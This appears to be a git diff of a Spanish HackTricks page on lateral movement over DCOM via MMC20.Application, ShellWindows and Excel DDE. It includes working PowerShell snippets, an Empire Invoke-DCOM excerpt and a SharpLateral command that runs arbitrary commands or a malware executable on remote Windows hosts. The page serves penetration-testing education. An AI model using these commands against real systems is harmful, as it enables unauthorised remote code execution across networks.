* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,20 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades más importantes para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
## Aplicación MMC20
|
||||
|
||||
**Para obtener más información sobre esta técnica, consulta la publicación original en [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
|
||||
Los objetos del Modelo de Objetos de Componentes Distribuidos (DCOM) presentan una capacidad interesante para interacciones basadas en la red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componentes (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell:
|
||||
El Modelo de Objetos de Componentes Distribuidos (DCOM) presenta una capacidad interesante para interacciones basadas en la red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componentes (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -55,9 +46,9 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Para obtener más información sobre esta técnica, consulta la publicación original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Se identificó que el objeto **MMC20.Application** carecía de "LaunchPermissions" explícitos, lo que lo hace recurrir a permisos que permiten el acceso a los administradores. Para más detalles, se puede explorar un hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120), y se recomienda el uso de OleView .NET de [@tiraniddo](https://twitter.com/tiraniddo) para filtrar objetos sin permisos de inicio explícitos.
|
||||
Se identificó que el objeto **MMC20.Application** carecía de "LaunchPermissions" explícitos, lo que lo hace utilizar permisos que permiten el acceso a los administradores. Para más detalles, se puede explorar un hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120), y se recomienda el uso de [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET para filtrar objetos sin permisos de inicio explícitos.
|
||||
|
||||
Dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, se destacaron debido a su falta de permisos de inicio explícitos. La ausencia de una entrada de registro `LaunchPermission` en `HKCR:\AppID\{guid}` significa que no hay permisos explícitos.
|
||||
Dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, fueron resaltados debido a su falta de permisos de inicio explícitos. La ausencia de una entrada de registro `LaunchPermission` bajo `HKCR:\AppID\{guid}` significa que no hay permisos explícitos.
|
||||
|
||||
### ShellWindows
|
||||
Para `ShellWindows`, que carece de un ProgID, los métodos .NET `Type.GetTypeFromCLSID` y `Activator.CreateInstance` facilitan la instanciación de objetos utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de `ShellWindows`. Una vez instanciado, la interacción es posible a través del método `WindowsShell.Item`, lo que lleva a la invocación de métodos como `Document.Application.ShellExecute`.
|
||||
|
@ -71,7 +62,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Movimiento lateral con objetos DCOM de Excel
|
||||
|
||||
El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, es recomendable leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en el [blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, se recomienda leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en el [blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución de código remoto (RCE) mediante la manipulación de objetos DCOM. A continuación se muestran fragmentos del script disponible en el [repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), que muestran diferentes métodos para abusar de Excel para RCE:
|
||||
```powershell
|
||||
|
@ -96,7 +87,7 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
### Herramientas de Automatización para Movimiento Lateral
|
||||
### Herramientas de Automatización para el Movimiento Lateral
|
||||
|
||||
Se destacan dos herramientas para automatizar estas técnicas:
|
||||
|
||||
|
@ -118,20 +109,14 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
Loading…
Reference in a new issue